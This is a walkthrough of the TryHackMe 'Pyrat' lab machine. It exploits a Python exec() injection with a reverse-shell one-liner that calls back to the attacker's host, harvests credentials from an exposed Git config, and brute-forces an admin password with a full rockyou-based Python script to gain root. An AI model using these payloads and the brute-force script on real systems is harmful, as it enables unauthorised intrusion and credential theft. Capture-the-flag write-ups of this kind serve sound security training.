Pyrat Writeup (TryHackMe Easy Machine)
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application's older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.
Overview
Pyrat is an easy machine from TryHackMe. It is beginner-friendly box which introduces insecure use of exec() function in Python app without any input validation.
After getting foothold on the machine, we found a Git repository with exposed credentials in the “config” file, as well as the source code of an old version of the Python app, giving us more insights into the functionality of the app.
Using the app, we were able to hit special endpoint, brute-force the admin password with custom Python script and get a shell as root.
Nmap scan
Starting with Nmap scan.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.254.178
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-28 15:09 EST
Nmap scan report for 10.10.254.178
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.95%I=7%D=2/28%Time=67C217FE%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20defin
SF:ed\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\x20
SF:null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<strin
SF:g>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cannot\
SF:x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\x20
SF:is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x20n
SF:ot\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20string\x
SF:20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"sour
SF:ce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Help,1
SF:B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invalid\x
SF:20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\x20
SF:syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20cod
SF:e\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,"so
SF:urce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Java
SF:RMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\
SF:n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20
SF:bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x20n
SF:ull\x20bytes\n");
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 110/tcp)
HOP RTT ADDRESS
1 51.68 ms 10.9.0.1
2 102.08 ms 10.10.254.178
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.35 seconds
Nmap scan showed that 2 ports are open, SSH on port 22 and some Python app on port 8000. The scan showed that Python 3.11.2 was used.
Python app, exploiting RCE vulnerability & getting foothold
I tried accessing the app with web browser.
I checked the website content, it’s source code and the web request and response. Beside the message, I found nothing interesting. Following the hint, I tried using Netcat.
┌──(kali㉿kali)-[~]
└─$ nc 10.10.254.178 8000
hello
name 'hello' is not defined
whoareyou
name 'whoareyou' is not defined
?
invalid syntax (<string>, line 1)
Whatever I entered as input, the script gave me back the input stating it’s not defined. But after entering “?”, a syntax error appeared. This showed that the script did not properly sanitize the user input and when used with functions like exec() or eval() which can execute commands, it can open doors for potential RCE. I used one-line python rev shell command from pentestmonkey.net.
┌──(kali㉿kali)-[~]
└─$ nc 10.10.254.178 8000
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.0.167",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.9.0.167] from (UNKNOWN) [10.10.254.178] 47010
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ pwd
/root
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ pwd
pwd
/root
www-data@Pyrat:~$ ls -la
ls -la
ls: cannot open directory '.': Permission denied
www-data@Pyrat:~$
After entering the payload, we got foothold on the machine as user “www-data”. I also entered well-known command to get stabilized shell.
User flag
Firstly, I checked the “/etc/passwd” file and figured out that we have 1 user named “think”, but we cannot access his home directory.
www-data@Pyrat:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
think:x:1000:1000:,,,:/home/think:/bin/bash
www-data@Pyrat:/$ ls -la /home/think
ls: cannot open directory '/home/think': Permission denied
Looking around a bit more, I found couple interesting stuff. In “var/mail” there is a mail for “think” from “root”. It says that RAT has been installed from think’s GitHub page.
mail to "root" |
After more digging, I managed to find the mentioned GitHub repository in “/opt/dev/.git”. Looking at the “config” file, we can find pair of credentials for user “think”.
www-data@Pyrat:/opt/dev/.git$ ls -la
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
www-data@Pyrat:/opt/dev/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = [REDACTED]
We can use these credentials to SSH into the machine and get the user flag.
think@Pyrat:~$ whoami
think
think@Pyrat:~$ pwd
/home/think
think@Pyrat:~$ ls -la
total 40
drwxr-x--- 5 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 2 2023 ..
lrwxrwxrwx 1 root root 9 Jun 15 2023 .bash_history -> /dev/null
-rwxr-x--- 1 think think 220 Jun 2 2023 .bash_logout
-rwxr-x--- 1 think think 3771 Jun 2 2023 .bashrc
drwxr-x--- 2 think think 4096 Jun 2 2023 .cache
-rwxr-x--- 1 think think 25 Jun 21 2023 .gitconfig
drwx------ 3 think think 4096 Jun 21 2023 .gnupg
-rwxr-x--- 1 think think 807 Jun 2 2023 .profile
drwx------ 3 think think 4096 Jun 21 2023 snap
-rw-r--r-- 1 root think 33 Jun 15 2023 user.txt
lrwxrwxrwx 1 root root 9 Jun 21 2023 .viminfo -> /dev/null
Git repository
To get the Git repository, I quickly started Python3 HTTP Server on the machine and used tool GitHack.py to get the repository and retrieve the files. It contained the source code of an old version of Pyrat.py.
┌──(kali㉿kali)-[~]
└─$ python3 /opt/GitHack/GitHack.py -u "http://10.10.254.178:9009/.git/"
[+] Download and parse index file ...
[+] pyrat.py.old
[OK] pyrat.py.old
┌──(kali㉿kali)-[~]
└─$ cat pyrat.py
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
This snippet of Python code does several things. Based on the input, it can get an endpoint, yield a shell or simply execute a command.
The script also seems to run with downgraded privileges.
┌──(kali㉿kali)-[~]
└─$ nc 10.10.254.178 8000
shell
$ whoami
whoami
www-data
Looking back at the script, the endpoint function seems to be the right privilege escalation vector. Considering the comment, I tried couple possible endpoints and got the result.
┌──(kali㉿kali)-[~]
└─$ nc 10.10.254.178 8000
login
name 'login' is not defined
root
name 'root' is not defined
think
name 'think' is not defined
admin
Start a fresh client to begin.
┌──(kali㉿kali)-[~]
└─$ nc 10.10.254.178 8000
admin
Password:
pass123
Password:
password
Password:
idkman123
I managed to hit “admin” endpoint and I was prompted to enter a password. Following hints from the description of the machine, next step was brute-forcing the password with custom script.
Admin password brute-forcing with custom Python script & root flag
With use of Blackbox.ai and after some troubleshooting and fixing I ended up with working Python script. I used “rockyou” password list and after some attempts the password was found.
import socket
import time
import os
def brute_force_password(host, port, username, password_list):
for attempt in range(len(password_list)):
# Create a new socket connection for each set of three attempts
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
# Send the username
s.sendall(f"{username}\n".encode())
time.sleep(1) # Wait for the server to respond
# Send the password
password = password_list[attempt]
s.sendall(f"{password}\n".encode())
time.sleep(1) # Wait for the server to respond
# Receive response from the server
response_bytes = s.recv(1024) # Receive raw bytes
try:
response = response_bytes.decode('utf-8') # Attempt to decode as UTF-8
except UnicodeDecodeError:
response = response_bytes.decode('latin-1', errors='replace') # Fallback to latin-1
print(f"Trying password: {password} - Response: {response.strip()}")
# Check if the response indicates a successful login
if "success" in response.lower(): # Adjust this condition based on the server's response
print(f"Password found: {password}")
break
# Re-sending username after every third attempt
if (attempt + 1) % 3 == 0:
print("Re-sending username after three attempts...")
# Optional: Add a delay between attempts to avoid overwhelming the server
time.sleep(1)
else:
print("Password not found in the list.")
if __name__ == "__main__":
host = "10.10.254.178" # Target host
port = 8000 # Target port
username = "admin"
# Load the password list from the specified path
password_file_path = os.path.expanduser("~/Downloads/rockyou.txt")
try:
with open(password_file_path, "r", encoding="latin-1") as file: # Use latin-1 to handle special characters
password_list = [line.strip() for line in file.readlines()]
brute_force_password(host, port, username, password_list)
except FileNotFoundError:
print(f"Password file not found at: {password_file_path}")
except Exception as e:
print(f"An error occurred: {e}")
┌──(kali㉿kali)-[~]
└─$ python3 script.py
Trying password: 123456 - Response: Password:
Password:
Trying password: 12345 - Response: Password:
Password:
Trying password: 123456789 - Response: Password:
Password:
Re-sending username after three attempts...
Trying password: password - Response: Password:
Password:
Trying password: iloveyou - Response: Password:
Password:
Trying password: princess - Response: Password:
Password:
Re-sending username after three attempts...
Trying password: 1234567 - Response: Password:
Password:
Trying password: rockyou - Response: Password:
Password:
Trying password: 12345678 - Response: Password:
Password:
Re-sending username after three attempts...
Trying password: [REDACTED]- Response: Password:
Welcome Admin!!! Type "shell" to begin
All left to do was to type and get “shell” as “root”. Root flag was right in front of us.
Summary
Pyrat was pretty easy machine. It introduced the danger of using Python functions which can execute commands (like “eval” or “exec”) without any sanitization, allowing RCE and granting attackers reverse shell. The machine also shows ways to abuse exposed Git repository with exposed credentials and the source code.
Comments
Post a Comment